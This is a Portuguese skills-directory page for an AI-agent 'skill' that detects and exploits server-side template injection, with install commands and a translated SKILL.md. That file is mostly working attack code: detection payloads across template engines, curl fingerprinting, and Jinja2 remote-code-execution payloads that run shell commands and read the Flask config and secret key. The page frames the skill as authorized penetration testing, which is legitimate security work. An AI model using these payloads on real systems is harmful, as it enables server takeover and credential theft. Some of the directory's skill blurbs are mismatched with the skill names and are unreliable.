exploiting-template-injection-vulnerabilities
Ensina seu agente de IA a proteger aplicações contra ataques e construir APIs e sistemas de back-end.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sites que usam 'motores de template' para exibir informações. Ela tenta executar comandos no servidor para verificar se a falha é real e até mesmo ler arquivos ou executar comandos.
Quando usar
- ✓Ao testar a segurança de um site com permissão.
- ✓Quando o site exibe dados que o usuário insere em áreas como formulários ou mensagens.
- ✓Para verificar se é possível ler arquivos do servidor ou executar comandos através de falhas de template.
Exemplo do que pedir para a IA
“Verifique se há falhas de injeção de template no site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia textos especiais (payloads) para o site, que são processados pelo motor de template. Se o site responder de forma inesperada, como mostrando o resultado de um cálculo matemático, isso indica uma possível falha que pode ser explorada.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-template-injection-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de Injeção de Template
Quando Usar
- Durante testes de penetração autorizados quando a entrada do usuário é renderizada através de um motor de template do lado do servidor
- Ao testar páginas de erro, templates de e-mail, geradores de PDF ou construtores de relatórios que incluem dados fornecidos pelo usuário
- Para avaliar aplicações que permitem aos usuários personalizar templates ou mensagens de notificação
- Ao identificar potenciais SSTI em parâmetros que refletem resultados aritméticos (por exemplo,
{{7*7}}retorna49) - Durante avaliações de segurança de plataformas CMS, ferramentas de marketing ou qualquer aplicação com funcionalidade de template
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração com escopo de teste de RCE
- Burp Suite Professional: Para interceptar e modificar parâmetros de template
- tplmap: Ferramenta automatizada de exploração de SSTI (
git clone https://github.com/epinna/tplmap.git) - SSTImap: Scanner moderno de SSTI (
pip install sstimap) - curl: Para testes manuais de payloads SSTI
- Conhecimento de motores de template: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
Fluxo de Trabalho
Passo 1: Identificar Pontos de Injeção de Template
Encontre parâmetros onde a entrada do usuário é processada por um motor de template.
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
Passo 2: Identificar o Motor de Template
Determine qual motor de template está em uso para selecionar a técnica de exploração apropriada.
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
Passo 3: Explorar Jinja2 (Python/Flask)
Alcance a execução de código através da injeção de template Jinja2.
# Ler configuração
curl -s "https://target.example.com/page?name={{config.items()}}"
# Acessar chave secreta
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - método 1: acessando o módulo os através do MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - método 2: usando cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - método 3: usando lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Leitura de arquivo via Jinja2
…
Perguntas frequentes
O que é um 'motor de template'?
É um sistema que ajuda a criar páginas web dinâmicas, misturando conteúdo fixo com informações que mudam, como o nome do usuário ou dados de um formulário.
O que é 'injeção de template'?
É um tipo de falha de segurança onde um atacante consegue inserir comandos ou código malicioso através de um motor de template, que o servidor acaba executando.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização explícita por escrito antes de testar qualquer sistema, pois a exploração de vulnerabilidades sem permissão é ilegal.
Detalhes
Descrição original do autor
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5763
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC